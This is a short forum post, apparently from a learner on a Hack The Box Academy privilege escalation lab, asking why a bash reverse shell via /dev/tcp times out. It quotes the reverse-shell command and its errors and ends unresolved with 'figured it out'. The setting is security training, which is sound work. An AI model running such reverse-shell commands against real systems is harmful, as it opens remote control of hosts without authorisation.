HTB Academy Getting Stated: Privilege Escalation - Can't send bash reverse shell

As the title says I can’t send a bash reverse shell back to me from the target machine. I’ve logged into the machine through ssh successfully but when I tried to create the bash reverse shell the following message pops up:

sudo -u user2 bash -i >& /dev/tcp/ 0>&1
bash: connect: Connection timed out
bash: /dev/tcp/ Connection timed out

The IP address and port in the reverse shell is definitely correct and I have netcat listening to the port 12345 on my machine.

I though this was a problem on my end so I nmap port 12345 on my machine and netcat caught it, so its definitely a problem on the target machine. Is this suppose to happen? Because I feel like this is the way I’m suppose to it.

Never mind I figured it out